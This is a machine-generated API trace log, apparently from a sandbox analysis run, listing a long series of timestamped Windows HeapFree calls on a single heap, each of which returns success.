	[0044.388] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0044.388] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.389] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.389] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0044.389] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0044.391] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.394] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.394] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.395] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0044.398] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.398] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.399] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.401] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.404] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.791] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0044.909] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0044.909] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.054] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.248] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.251] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.251] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0045.251] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0045.252] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42f2c70 | out: hHeap=0x650000) returned 1
	[0045.254] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0045.258] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0045.260] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.888] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0045.898] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0045.898] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0045.898] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0045.901] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0045.906] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.409] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.409] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.414] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.416] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.419] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.713] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.713] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.723] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.725] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.725] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.728] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0046.728] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0046.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0046.735] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0047.041] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0047.046] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0047.048] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0047.060] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0047.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0047.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0047.061] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0047.065] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0047.068] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.071] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.075] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.077] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.083] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.084] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.171] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.172] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.174] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.175] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.177] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.178] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.180] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.182] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.184] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.185] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.201] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.215] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.252] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.254] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.278] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.279] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.281] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.282] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.285] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.286] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.287] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.289] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.353] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.355] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.356] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.358] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.359] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.360] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.361] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.363] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.372] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.374] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.375] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.376] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.379] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.380] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.381] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.383] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0047.383] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.383] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0047.387] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0047.391] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.392] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.393] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.395] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.486] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.487] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.489] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.489] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.491] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.492] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.493] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.495] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.523] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.524] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.525] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.527] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.529] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.530] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.531] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.533] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.534] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.536] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.537] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.538] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.541] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.594] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.595] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0047.672] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.152] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.154] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.155] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.157] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.174] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.176] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.180] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.182] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.188] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.189] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.264] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.266] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.268] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.271] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.272] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.272] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0048.274] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.276] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.278] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.280] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.282] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.469] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.483] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.486] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.487] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.490] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.492] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.495] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.500] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.503] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.506] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.508] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.511] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.514] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.516] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.518] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.520] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.522] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.622] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.623] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.625] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.627] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.629] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.631] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.632] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.634] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.636] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.638] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.639] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.640] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.641] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.642] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.643] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.644] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.645] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.646] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.647] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.656] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.657] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.657] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.657] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.657] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.858] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4442cc8 | out: hHeap=0x650000) returned 1
	[0048.858] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.858] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.943] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.945] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.946] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.947] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.947] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.964] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.964] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.964] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.964] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0048.965] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.969] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.970] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.972] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.974] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0048.976] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
